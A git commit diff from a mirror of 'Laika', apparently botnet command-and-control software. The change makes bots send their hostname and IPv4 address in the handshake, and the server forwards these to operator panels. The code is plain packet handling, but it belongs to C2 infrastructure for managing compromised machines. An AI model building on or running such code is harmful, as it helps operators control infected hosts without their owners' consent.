1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-05 15:50:06 +00:00

Added hostname, ip info to handshake

- Panel now lists bots by hostname & ip instead of public key
This commit is contained in:
2022-02-15 16:57:21 -06:00
parent fb71dfb3c3
commit c21be8dfee
12 changed files with 91 additions and 19 deletions

View File

@@ -7,7 +7,7 @@
#include "cnc.h"
LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES,
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN,
[LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = sizeof(uint8_t),
};
@@ -29,6 +29,14 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
/* read peer's public key */
laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub));
/* read hostname & ipv4 */
laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_read(&peer->sock, peer->ipv4, LAIKA_IPV4_LEN);
/* restore null-terminator */
peer->hostname[LAIKA_HOSTNAME_LEN-1] = 0;
peer->ipv4[LAIKA_IPV4_LEN-1] = 0;
/* gen session keys */
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n")
@@ -101,7 +109,6 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
/* notify connected panels of the newly connected peer */
for (i = 0; i < cnc->panelCount; i++) {
LAIKA_DEBUG("sending new peer to %lx\n", peer);
laikaC_sendNewPeer(cnc->panels[i], peer);
}
}

View File

@@ -21,22 +21,24 @@ bool sendPanelPeerIter(struct sLaika_socket *sock, void *uData) {
return true;
}
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_PEER);
/* write the bot's pubkey & peerType */
laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub));
laikaS_writeByte(&panel->sock, bot->type);
/* write the peer's info */
laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub));
laikaS_write(&panel->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_write(&panel->sock, peer->ipv4, LAIKA_IPV4_LEN);
laikaS_writeByte(&panel->sock, peer->type);
laikaS_endOutPacket(panel);
}
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_PEER);
/* write the bot's pubkey */
laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub));
laikaS_writeByte(&panel->sock, bot->type);
/* write the peer's pubkey */
laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub));
laikaS_writeByte(&panel->sock, peer->type);
laikaS_endOutPacket(panel);
}